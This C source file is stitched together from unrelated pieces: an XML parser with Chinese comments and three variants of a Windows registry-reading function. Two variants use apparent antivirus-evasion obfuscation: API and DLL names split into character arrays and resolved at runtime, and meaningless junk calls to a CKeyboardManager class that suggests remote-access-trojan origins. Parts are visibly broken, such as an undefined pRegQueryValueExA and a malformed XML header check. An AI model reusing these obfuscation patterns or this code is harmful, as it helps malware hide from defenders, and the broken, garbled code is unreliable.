int XmlAttr(XTREE *xTree,XSTRING *val) /* 处理属性:当作叶节点,子节点数为-1,返回增加的属性节点数 */ { XSTRING xn,xv; int k = 0; XSTRING *p1, *p, *p2; p = DelSpace(val->text); while(p && *p) { p1=p; p2=strchr(p1,'='); if(p2==W_NULL)break; xn.text=p1; *p2='\0'; xn.len=p2-p1; p=DelSpace(p2+1); if( *p!='\"')break; p1=p; p2=strchr(p1+1,'"'); if(p2==W_NULL)break; xv.text=p1+1; * p2='\0'; xv.len=p2-p1-1; /* 增加属性值节点 */ if(XAddSubNode(xTree,&xn)==W_NULL)break; k++; if(XElementData(xTree,&xv)<0)break; xTree->curNode->tagCount=-1; XRetParentNode(xTree); p=DelSpace(p2+1); } return (k); }
/* 读xml并解析到X树 */ int XmlParseRead(XSTRING * xmlbuf,int xmlsize,XTREE * xTree) { XSTRING *p, *p1, *pend=xmlbuf+xmlsize; XSTRING xstr; XNODE *xn; int k; int maxnn=0,vtype=XVAL_NONE, vtype0=XVAL_NONE; memset(xTree,0x00,sizeof(XTREE)); if(memcmp(xmlbuf,"<?xmlversion=",14)!=0) { wind_error("无XML内容头!"); return -1; } p=strstr(xmlbuf,"?>"); if(p==W_NULL) { wind_error("XML内容头无结尾!"); return -1; } p1=DelSpace(p+2); for(p=p1,maxnn=1;p<pend;p++) { if( * p=='>'|| * p=='"')maxnn++; if( * p=='>')if( * (p-1)=='/') maxnn++;/* 空标记 */ } maxnn=maxnn/2+2; xTree->xBuf=xmlbuf; xTree->xBufEnd=xmlbuf+xmlsize; xTree->xBufPos=p1; for(k=0;k<99;k++) { vtype=XmlReadNodeVal(xTree,&xstr); if(vtype==XVAL_NBEGIN)break; else if(vtype!=XVAL_NOTE)break; } xTree->nodeCount=0; if (vtype!=XVAL_NBEGIN) { xTree->nodeMaxCount=0; wind_debug("空XML内容"); return 0; } wind_debug("===申请节点存储空间=%d",maxnn); xTree->nodeList=(XNODE * )calloc(maxnn,sizeof(XNODE)); /* 申请节点存储空间 */ if(xTree->nodeList==W_NULL) { wind_error("申请节点存储空间(%d)失败!",maxnn); return -2; } xTree->nodeMaxCount=maxnn; memset(xTree->nodeList,0x00,maxnn * sizeof(XNODE)); xTree->rootNode=&(xTree->nodeList[0]); /* 根节点 */ xTree->rootNode->parentNode=W_NULL; xTree->rootNode->index=xTree->rootNode->level=0; * (xstr.text+xstr.len)='\0'; EqXString(&(xTree->rootNode->name),&xstr); xTree->curNode=xTree->rootNode; xTree->nodeCount=1; k=0; while(k<maxnn ) { vtype0=vtype; vtype=XmlReadNodeVal(xTree,&xstr); if(vtype<=XVAL_NONE) break; switch(vtype) { caseXVAL_NOTE: vtype=vtype0; break; caseXVAL_NBEGIN: if(XAddSubNode(xTree,&xstr)==W_NULL)k=maxnn+1; break; caseXVAL_NEND: XRetParentNode(xTree); /* 返回父节点: */ break; caseXVAL_DATA: XElementData(xTree,&xstr);/* 修改当前节点元素值: */ break; default: if(vtype>10) break;/* printf("===c增加%d/n", vtype-10); */ } } * xmlbuf='\0'; /* 置已解析标志 */ maxnn=xTree->curNode->index; /* 最终当前节点号 */ for(k=0;k<xTree->nodeCount;k++) { xn=&(xTree->nodeList[k]); if(xn->name.text) *(xn->name.text+xn->name.len)='\0'; else xn->name.text=xmlbuf; if(xn->data.text) *(xn->data.text+xn->data.len)='\0'; else xn->data.text=xmlbuf; } wind_debug ("节点数=%d/n",xTree->nodeCount); if(maxnn)wind_error("XML文件不完整(%d)",maxnn); xTree->curNode=xTree->rootNode; return (maxnn); }
/* xml得到节点名值,返回:1节点标识名开头,2节点标识名结尾,3注释,4元素数据 0无 -1有错误 */ int XmlReadNodeVal(XTREE * xTree,XSTRING * val) { XSTRING * p, * p1, * p2; int ivtype=XVAL_NONE; p=xTree->xBufPos; p=DelSpace(xTree->xBufPos); /* 删除前导空 */ if( * p!='<') { /* 数据 */ p1=p; p2=strchr(p1,'<'); val->text=p1; val->len =(p2?p2-p1:0); ivtype=(p2&&p2<xTree->xBufEnd? XVAL_DATA:XVAL_NONE); xTree->xBufPos=(p2?p2:xTree->xBufEnd); goto OKExit33qqq; } /* 前导为< */ p++; if( *p=='/') { /* 标记尾 */ p1=p+1; p2 = strchr(p1,'>'); if(p2==W_NULL) { /* 错误 */ goto ErrExit33qqq; } else { ivtype=XVAL_NEND; val->text=p1; val->len=p2-p1; xTree->xBufPos=p2+1; } } else if(is_name_tchar( * p)) { /* 标记头 */ p1=p; p2=strchr(p1,'>'); if(p2==W_NULL) { /* 错误 */ goto ErrExit33qqq; } for(p=p1; * p!=' '&&p<p2;p++); if( * (p2-1)=='/') { /* 处理空标记<abc/> */ ivtype=11; val->text=p1; if(p>=p2)p=p2-1; val->len=p-p1; if(XAddSubNode(xTree,val)==W_NULL) goto ErrExit33qqq; if(p<p2-1)/* 增加属性节点 */ { * (p2-1)='\0'; p++; val->text=p; val->len=p2-1-p; ivtype+=XmlAttr(xTree,val); } XRetParentNode(xTree); } else { ivtype = XVAL_NBEGIN; val->text=p1; val->len=p-p1; if(p<p2) /* 增加属性节点 */ { if(XAddSubNode(xTree,val)==W_NULL) goto ErrExit33qqq; * (p2)='\0'; p++; val->text=p; val->len=p2-p; ivtype=11+XmlAttr(xTree,val); } } xTree->xBufPos=p2+1; } else if( * p=='!') { if( * (p+1)=='-'&& * (p+2)=='-') /* 注释 */ { p+=3; p1=DelSpace(p); p2=strstr(p1,"-->"); /* 注释尾 */ if(p2==W_NULL){ /* 错误 */ goto ErrExit33qqq; } else { ivtype=XVAL_NOTE; xTree->xBufPos=p2+3; val->text=p1; val->len=(p2-p1)/sizeof(XSTRING); } goto OKExit33qqq; } } OKExit33qqq: return (ivtype); ErrExit33qqq: ivtype=XVAL_ERROR; xTree->xBufPos=xTree->xBufEnd; return (ivtype); }
//读取注册表的指定键的数据(Mode:0-读键值数据 1-牧举子键 2-牧举指定键项 3-判断该键是否存在) int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode) { typedef LONG (APIENTRY *RegOpenKeyExAT)( __in HKEY hKey, __in_opt LPCSTR lpSubKey, __reserved DWORD ulOptions, __in REGSAM samDesired, __out PHKEY phkResult ); char KIoFqQPSy[] = {'A','D','V','A','P','I','3','2','.','d','l','l','\0'}; RegOpenKeyExAT pRegOpenKeyExA=(RegOpenKeyExAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"RegOpenKeyExA"); typedef LONG (APIENTRY *RegEnumValueAT)( __in HKEY hKey, __in DWORD dwIndex, __out_ecount_opt(*lpcchValueName) LPSTR lpValueName, __inout LPDWORD lpcchValueName, __reserved LPDWORD lpReserved, __out_opt LPDWORD lpType, __out_bcount_opt(*lpcbData) LPBYTE lpData, __inout_opt LPDWORD lpcbData ); RegEnumValueAT pRegEnumValueA=(RegEnumValueAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"RegEnumValueA"); HKEY hKey; int ValueDWORD,iResult=0; char* PointStr; char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH]; DWORD szSize,KnSize,dwIndex=0; memset(KeyName,0,sizeof(KeyName)); memset(ValueSz,0,sizeof(ValueSz)); memset(ValueTemp,0,sizeof(ValueTemp)); __try { // SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS); if(pRegOpenKeyExA(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS) { iResult = -1; __leave; } switch(Mode) { case 0: switch(Type) { case REG_SZ: case REG_EXPAND_SZ: szSize = sizeof(ValueSz); if(pRegQueryValueExA(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS) { strcpy(szData,DelSpace(ValueSz)); iResult =1; } break; case REG_MULTI_SZ: szSize = sizeof(ValueSz); if(pRegQueryValueExA(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS) { for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1) { strncat(ValueTemp,PointStr,sizeof(ValueTemp)); strncat(ValueTemp," ",sizeof(ValueTemp)); } strcpy(szData,ValueTemp); iResult =1; } break; case REG_DWORD: szSize = sizeof(DWORD); if(pRegQueryValueExA(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS) { wsprintf(szData,"%d",ValueDWORD); iResult =1; } break; case REG_BINARY: szSize = lbSize; if(pRegQueryValueExA(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS) iResult =1; break; } break; case 1: while(1) { typedef LONG (APIENTRY *RegEnumKeyExAT)( __in HKEY hKey, __in DWORD dwIndex, __out_ecount_opt(*lpcchName) LPSTR lpName, __inout LPDWORD lpcchName, __reserved LPDWORD lpReserved, __inout_ecount_opt(*lpcchClass) LPSTR lpClass, __inout_opt LPDWORD lpcchClass, __out_opt PFILETIME lpftLastWriteTime ); RegEnumKeyExAT pRegEnumKeyExA=(RegEnumKeyExAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"RegEnumKeyExA"); memset(ValueSz,0,sizeof(ValueSz)); szSize = sizeof(ValueSz); if(pRegEnumKeyExA(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS) break; wsprintf(ValueTemp,"[%s]\r\n",ValueSz); strcat(szData,ValueTemp); iResult =1; } break; case 2: while(1) { memset(KeyName,0,sizeof(KeyName)); memset(ValueSz,0,sizeof(ValueSz)); memset(ValueTemp,0,sizeof(ValueTemp)); KnSize = sizeof(KeyName); szSize = sizeof(ValueSz); if(pRegEnumValueA(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS) break; switch(Type) { case REG_SZ: wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz); break; case REG_EXPAND_SZ: wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz); break; case REG_DWORD: wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz)); break; case REG_MULTI_SZ: wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ"); break; case REG_BINARY: wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY"); break; } typedef LPSTR (WINAPI *lstrcatAT)( __inout LPSTR lpString1, __in LPCSTR lpString2 ); lstrcatAT plstrcatA=(lstrcatAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrcatA"); plstrcatA(szData,ValueTemp); iResult =1; } break; case 3: iResult =1; break; } } __finally { typedef LONG (APIENTRY *RegCloseKeyT) ( __in HKEY hKey); char YWsjU[] = {'R','e','g','C','l','o','s','e','K','e','y','\0'}; char KIoFqQPSy[] = {'A','D','V','A','P','I','3','2','.','d','l','l','\0'}; RegCloseKeyT pRegCloseKey=(RegCloseKeyT)GetProcAddress(LoadLibrary(KIoFqQPSy),YWsjU); pRegCloseKey(MainKey); pRegCloseKey(hKey); } return iResult; }
//读取注册表的指定键的数据(Mode:0-读键值数据 1-牧举子键 2-牧举指定键项 3-判断该键是否存在) int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode) { TCHAR szModule [MAX_PATH]; HKEY hKey; int ValueDWORD,iResult=0; char* PointStr; char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH]; DWORD szSize,dwIndex=0; memset(KeyName,0,sizeof(KeyName)); memset(ValueSz,0,sizeof(ValueSz)); memset(ValueTemp,0,sizeof(ValueTemp)); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); __try { // SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS) { iResult = -1; __leave; } switch(Mode) { case 0: switch(Type) { case REG_SZ: case REG_EXPAND_SZ: szSize = sizeof(ValueSz); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS) { CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); lstrcpy(szData,DelSpace(ValueSz)); iResult =1; } break; case REG_MULTI_SZ: szSize = sizeof(ValueSz); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS) { for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1) { CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); strncat(ValueTemp,PointStr,sizeof(ValueTemp)); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); strncat(ValueTemp," ",sizeof(ValueTemp)); } CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); strcpy(szData,ValueTemp); iResult =1; } break; case REG_DWORD: szSize = sizeof(DWORD); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS) { CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); wsprintf(szData,"%d",ValueDWORD); iResult =1; } break; case REG_BINARY: szSize = lbSize; CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); if(RegQueryValueEx(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS) iResult =1; break; } break; } } __finally { CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); RegCloseKey(MainKey); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); RegCloseKey(hKey); GetForegroundWindow(); } return iResult; }
//读取注册表的指定键的数据(Mode:0-读键值数据 1-牧举子键 2-牧举指定键项 3-判断该键是否存在) int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode) { HKEY hKey; int ValueDWORD,iResult=0; char* PointStr; char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH]; DWORD szSize,KnSize,dwIndex=0; memset(KeyName,0,sizeof(KeyName)); memset(ValueSz,0,sizeof(ValueSz)); memset(ValueTemp,0,sizeof(ValueTemp)); __try { // SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS); if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS) { iResult = -1; __leave; } switch(Mode) { case 0: switch(Type) { case REG_SZ: case REG_EXPAND_SZ: szSize = sizeof(ValueSz); if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS) { strcpy(szData,DelSpace(ValueSz)); iResult =1; } break; case REG_MULTI_SZ: szSize = sizeof(ValueSz); if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS) { for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1) { strncat(ValueTemp,PointStr,sizeof(ValueTemp)); strncat(ValueTemp," ",sizeof(ValueTemp)); } strcpy(szData,ValueTemp); iResult =1; } break; case REG_DWORD: szSize = sizeof(DWORD); if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS) { wsprintf(szData,"%d",ValueDWORD); iResult =1; } break; case REG_BINARY: szSize = lbSize; if(RegQueryValueEx(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS) iResult =1; break; } break; case 1: while(1) { memset(ValueSz,0,sizeof(ValueSz)); szSize = sizeof(ValueSz); if(RegEnumKeyEx(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS) break; wsprintf(ValueTemp,"[%s]\r\n",ValueSz); strcat(szData,ValueTemp); iResult =1; } break; case 2: while(1) { memset(KeyName,0,sizeof(KeyName)); memset(ValueSz,0,sizeof(ValueSz)); memset(ValueTemp,0,sizeof(ValueTemp)); KnSize = sizeof(KeyName); szSize = sizeof(ValueSz); if(RegEnumValue(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS) break; switch(Type) { case REG_SZ: wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz); break; case REG_EXPAND_SZ: wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz); break; case REG_DWORD: wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz)); break; case REG_MULTI_SZ: wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ"); break; case REG_BINARY: wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY"); break; } lstrcat(szData,ValueTemp); iResult =1; } break; case 3: iResult =1; break; } } __finally { RegCloseKey(MainKey); RegCloseKey(hKey); } return iResult; }